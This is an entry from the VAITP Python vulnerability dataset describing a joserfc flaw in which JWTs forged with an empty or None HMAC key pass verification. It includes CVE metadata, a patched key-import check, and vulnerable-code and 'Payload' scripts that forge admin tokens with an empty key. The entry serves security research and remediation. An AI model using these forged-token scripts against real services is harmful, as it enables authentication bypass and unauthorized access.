VAITP Dataset

← Back to the dataset

CVE-2026-49852

joserfc accepts forged HMAC tokens with an empty or None verification key.

  • CVSS 8.7
  • CWE-287
  • Cryptographic
  • Remote

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.6.8, joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None, because HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py pass the output of OctKey.get_op_key(…) to hmac.new(…) and OctKey.import_key in src/joserfc/_rfc7518/oct_key.py only emits a SecurityWarning for keys shorter than 14 bytes without rejecting zero-length input. This issue is fixed in version 1.6.8.

CVSS base score
8.7
Published
2026-07-17
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
joserfc
Fixed by upgrading
Yes

Solution

Upgrade joserfc to version 1.6.8 or later.

Vulnerable code sample

# To run this, you would need a version of joserfc prior to 1.6.8
# Example: pip install "joserfc<1.6.8"

from joserfc.jwt import encode, decode

# 1. An attacker crafts a JSON Web Token (JWT).
# The header specifies an HMAC-based algorithm like HS256.
header = {"alg": "HS256"}
# The payload contains malicious claims, e.g., granting admin rights.
payload = {"sub": "attacker", "admin": True}

# 2. The attacker signs the token using an empty string as the secret key.
# A vulnerable library will incorrectly accept this key.
attacker_key = ""
forged_token = encode(header, payload, attacker_key)

print(f"Attacker's forged token: {forged_token}\n")

# 3. A vulnerable server is misconfigured to use an empty string or None
# as its secret key for token verification. This should be an invalid state.
server_verification_key = ""

# 4. The server receives the forged token and attempts to decode/verify it.
# In a vulnerable version, this operation succeeds because the empty key used
# by the attacker matches the empty key configured on the server.
try:
    decoded_payload = decode(forged_token, server_verification_key)
    print("VULNERABILITY CONFIRMED: Token was successfully verified with an empty key.")
    print("Decoded claims:", decoded_payload.claims)
except Exception as e:
    print(f"Token rejected (this is the correct, non-vulnerable behavior): {e}")

Patched code sample

import warnings
from typing import Any, Dict
from base64 import urlsafe_b64encode


# This code represents the fixed 'import_key' method from
# src/joserfc/_rfc7518/oct_key.py in version 1.6.8, which addresses
# the vulnerability by explicitly rejecting zero-length keys.

class OctKey:
    @staticmethod
    def import_key(value: bytes) -> Dict[str, Any]:
        """
        :param value: a bytes value of the key
        """
        # FIX: Raise ValueError for empty (zero-length) keys
        if not value:
            raise ValueError("Invalid oct key")

        if len(value) < 14:
            warnings.warn(
                "It is recommended to use a key with a length of at least 128 bits",
                SecurityWarning
            )
        return {"kty": "oct", "k": urlsafe_b64encode(value).decode("utf-8")}

# Example of how the fix prevents using an empty key
try:
    # In vulnerable versions, this would not raise an error.
    # In the fixed version (1.6.8+), this raises a ValueError.
    OctKey.import_key(b"")
except ValueError as e:
    print(f"Successfully caught expected error: {e}")

# Example of a valid, short key (will produce a warning but not an error)
OctKey.import_key(b"a_short_key")
print("Successfully processed a non-empty key.")

Payload

import joserfc
from joserfc.jwt import encode

# Define the JWT header specifying an HMAC algorithm (e.g., HS256)
header = {"alg": "HS256"}

# Define the claims the attacker wants to forge (e.g., claiming to be an admin)
claims = {"sub": "admin", "iat": 1616239022}

# Use an empty string as the key, which the vulnerable library accepts for signing
key = ""

# Encode the token. This is the malicious JWT payload.
# A vulnerable server using an empty string or None for verification will accept this token.
malicious_jwt = encode(header, claims, key)

print(malicious_jwt)

Cite this entry

@misc{vaitp:cve202649852,
  title        = {{joserfc accepts forged HMAC tokens with an empty or None verification key.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-49852},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49852/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::